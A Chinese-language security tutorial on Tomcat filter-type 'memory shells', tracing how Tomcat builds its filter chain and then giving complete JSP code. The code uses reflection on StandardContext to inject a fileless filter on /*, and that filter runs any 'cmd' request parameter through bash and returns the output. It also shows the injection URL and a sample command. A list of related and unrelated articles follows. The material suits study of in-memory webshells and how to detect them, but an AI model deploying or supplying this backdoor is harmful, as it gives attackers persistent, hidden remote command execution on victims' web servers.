Tomcat 内存马(二)Filter型
一、Tomcat处理请求
在前一个章节讲到,tomcat在处理请求时候,首先会经过连接器Coyote把request对象转换成ServletRequest后,传递给Catalina进行处理。

在Catalina中有四个关键的容器,分别为Engine、Host、Context、Wrapper。这四种容器成套娃式的分层结构设计。

接下来我们知道当tomcat接收到请求时候,依次会经过Listener -> Filter -> Servlet

其实我们也可以通过动态添加Filter来构成内存马,不过在此之前先了解下tomcat处理请求的逻辑

从上图中可以看到,请求到达Wrapper容器时候,会开始调用FilterChain,这个FilterChain就是若干个Filter组成的过滤器链。最后才会达到Servlet。只要把我们的恶意filter放入filterchain的第一个位置,就可以触发恶意filter中的方法。
二、Filter注册流程
要在FilterChain中加入恶意filter,首先要了解tomcat中Filter的注册流程

在上图中可以看到,Wrapper容器调用FilterChain的地方就在StandardWrapperValve类中

调试
注册一个filter:
public class TestFilter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("filter初始化");
}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
System.out.println("doFilter过滤");
//放行
chain.doFilter(request,response);
}
@Override
public void destroy() {
System.out.println("filter销毁");
}
}
配置web.xml
<filter>
<filter-name>TestFilter</filter-name>
<filter-class>test.TestFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>TestFilter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
在doFilter处下断点,访问任意url:http://127.0.0.1:8080/xxx

查看调用链

可以看到在StandardWrapperValve#invoke中,通过createFilterChain方法获得了一个ApplicationFilterChain类型的filterChain

其filterChain中存放了两个ApplicationFilterConfig类型的filter,其中第一个就是TestFilter

然后在下面196行调用了ApplicationFilterChain#doFilter

跟进doFilter方法,在方法中调用了internalDoFilter

跟进internalDoFilter后看到,从filters数组里面拿到了第一个filter即Testfilter

最后调用了filter.doFilter


可以看到,filter是从filters数组中拿到的,看看filters数组是什么,Ctrl+左击

其实就是一个ApplicationFilterConfig类型的对象数组,它的值也就是前面的说的通过createFilterChain方法获得的


接下来查看createFilterChain如何把我们写的TestFilter添加ApplicationFilterConfig的
跟进ApplicationFilterFactory#createFilterChain中,看到首先64行拿到了个ServletRequest,然后通过ServletRequest#getFilterChain获取到了filterChain

继续往下看,通过StandardContext对象找到了filterMaps[]

然后又通过filterMaps中的名字,找到StandardContext对象中的FilterConfig,最后把FilterConfig加入了filterChain中

跟进filterChain.addFilter看到,也就是加入了前面说的filters数组ApplicationFilterConfig中。这里和上面一步的操作就是遍历filter放入ApplicationFilterConfig

通过调试发现,有两个很重要的变量,filterMap和filterConfig
filterMaps拿名字
filterConfigs拿过滤器
其实这两个变量都是在StandardContext对象里面存放了,其中还有个变量filterDefs也是重要的变量


分析filterMaps、filterConfigs、filterDefs
1)filterMaps
既然这三个变量都是从StandardContext中获得,那么查看StandardContext发现有两个方法可以添加filterMap


2)filterConfigs
在StandardContext中同样寻找添加filterConfig值的地方,发现有一处filterStart方法

此处添加是在tomcat启动时完成,所以下好断点启动tomcat
filterDefs中存放着TestFilter

遍历这个filterDefs,拿到key为TestFilter,value为FilterDef对象,值test.Testfilter

接下来new了一个ApplicationFilterConfig,放入了value

然后把nam=TestFilter和filterConfig放入了filterConfigs

3)filterDefs
以上的filterDefs才是真正放了过滤器的地方,那么我们看下filterDefs在哪里被加入了
在StandardContext中同样有个addFilterDef方法

可以想到,tomcat是从web.xml中读取的filter,然后加入了filterMap和filterDef变量中,以下对应着这两个变量

内存马
我们通过控制filterMaps、filterConfigs、filterDefs的值,则可以注入恶意的filter
filterMaps:一个HashMap对象,包含过滤器名字和URL映射
filterDefs:一个HashMap对象,过滤器名字和过滤器实例的映射
filterConfigs变量:一个ApplicationFilterConfig对象,里面存放了filterDefs
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%
final String name = "KpLi0rn";
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
if (filterConfigs.get(name) == null){
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null){
byte[] bytes = new byte[1024];
Process process = new ProcessBuilder("bash","-c",req.getParameter("cmd")).start();
int len = process.getInputStream().read(bytes);
servletResponse.getWriter().write(new String(bytes,0,len));
process.destroy();
return;
}
filterChain.doFilter(servletRequest,servletResponse);
}
@Override
public void destroy() {
}
};
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
/**
* 将filterDef添加到filterDefs中
*/
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
filterConfigs.put(name,filterConfig);
out.print("Inject Success !");
}
%>
访问:http://127.0.0.1:8080/testF.jsp显示注入成功

执行命令:http://127.0.0.1:8080/?cmd=cat /etc/issue

三、参考:
http://wjlshare.com/archives/1529#0x04_Filter
http://li9hu.top/tomcat内存马一-初探/
https://www.cnblogs.com/nice0e3/p/14622879.html#0x03-内存马实现
Tomcat 内存马(二)Filter型的更多相关文章
- 【免杀技术】Tomcat内存马-Filter
Tomcat内存马-Filter型 什么是内存马?为什么要有内存马?什么又是Filter型内存马?这些问题在此就不做赘述 Filter加载流程分析 tomcat启动后正常情况下对于Filter的处理过 ...
- tomcat内存马原理解析及实现
内存马 简介 Webshell内存马,是在内存中写入恶意后门和木马并执行,达到远程控制Web服务器的一类内存马,其瞄准了企业的对外窗口:网站.应用.但传统的Webshell都是基于文件类型的,黑客 ...
- Tomcat 内存马(一)Listener型
一.Tomcat介绍 Tomcat的主要功能 tomcat作为一个 Web 服务器,实现了两个非常核心的功能: Http 服务器功能:进行 Socket 通信(基于 TCP/IP),解析 HTTP 报 ...
- 6. 站在巨人的肩膀学习Java Filter型内存马
本文站在巨人的肩膀学习Java Filter型内存马,文章里面的链接以及图片引用于下面文章,参考文章: <Tomcat 内存马学习(一):Filter型> <tomcat无文件内存w ...
- Java安全之基于Tomcat实现内存马
Java安全之基于Tomcat实现内存马 0x00 前言 在近年来红队行动中,基本上除了非必要情况,一般会选择打入内存马,然后再去连接.而落地Jsp文件也任意被设备给检测到,从而得到攻击路径,删除we ...
- Java安全之基于Tomcat的Filter型内存马
Java安全之基于Tomcat的Filter型内存马 写在前面 现在来说,内存马已经是一种很常见的攻击手法了,基本红队项目中对于入口点都是选择打入内存马.而对于内存马的支持也是五花八门,甚至各大公司都 ...
- Java Filter型内存马的学习与实践
完全参考:https://www.cnblogs.com/nice0e3/p/14622879.html 这篇笔记,来源逗神的指点,让我去了解了内存马,这篇笔记记录的是filter类型的内存马 内存马 ...
- 议题解析与复现--《Java内存攻击技术漫谈》(二)无文件落地Agent型内存马
无文件落地Agent型内存马植入 可行性分析 使用jsp写入或者代码执行漏洞,如反序列化等,不需要上传agent Java 动态调试技术原理及实践 - 美团技术团队 (meituan.com) 首先, ...
- JavaAgent型内存马基础
Java Instrumentation java Instrumentation指的是可以用独立于应用程序之外的代理(agent)程序来监测和协助运行在JVM上的应用程序.这种监测和协助包括但不 ...
随机推荐
- Java基础系列(10)- 类型转换
类型转换 由于Java是强类型语言,所以要进行有些运算的时候,需要用到类型转换.运算中,不同类型的数据先转换为同一类型,然后进行运算. 低 ------------------------------ ...
- Shell系列(27)- 条件判断之两个整数比较
两个整数之间比较 Liunx中,都是字符型,但是加了数值比较的选项,所以自动将他们转换成了整数型进行比较,不需要对这些参数进行变量转换或者重新声明 测试选项 作用 整数1 -eq 整数2 判断整数1是 ...
- windows日志查看与清理
日志查看 (1) 启动Windows实验台,点击:开始 - 控制面板 - 管理工具 - 事件查看器. (2) 应用程序日志.安全日志.系统日志.DNS日志默认位置:%sys temroot%\syst ...
- 虚拟机乌班图系统安装 VMware tools 工具
在VMware虚拟机中安装完毕Linux操作系统之后,我们经常会发现桌面不能全屏显示或者windows主机系统与linux操作系统之间无法创建共享文件夹.这是因为我们还没有安装VMware tools ...
- javascript 对象池
* 一个对象池的简单应用 tool tip tootip.html <html> <head> <meta charset="UTF-8"> & ...
- Appium 自动化测试改造思路
流水账脚本 从头到尾编写测试脚本 PO封装 业务行为与操作具体页面元素分离 basepage封装 如封装find方法,目的时增强稳定性 数据驱动封装 将常用的数据改为配置文件 为构建测试平台打基础
- hibernate 初学
1. hibernate的基本操作 执行流程: 执行流程细节:基本的配置文件 可以与mybatis进行对比着记 hibernate 的主键生成策略 ...
- 对OOP的理解
OOP是面向对象编程Object Oriented Programming,特征分别是封装.继承.多态.抽象. 封装:封装是指将对象信息状态通过访问权限修饰符隐藏在对象内部,不允许外部程序直接访问,如 ...
- bootstrap inputfile 使用-上传,回显
近期用bootstrap 做前端的上传,功能涉及到上传时就是召网上的教程随便弄一搜一大把,但是做到修改页面时候不知道页面该如何回显,折腾了一阵子才完成遂记录下来希望能给看到的小伙伴有点启发吧. 首先是 ...
- 深入思考软件工程,开启 DevOps 之旅
20 世纪 60 年代,软件开始脱离硬件,逐渐成为一个独立产业.至今,软件开发过程从瀑布模型.CMM/CMMI,到 20 年前敏捷的诞生,再到今天 DevOps 的火热,一代代软件人在思考和探索,如何 ...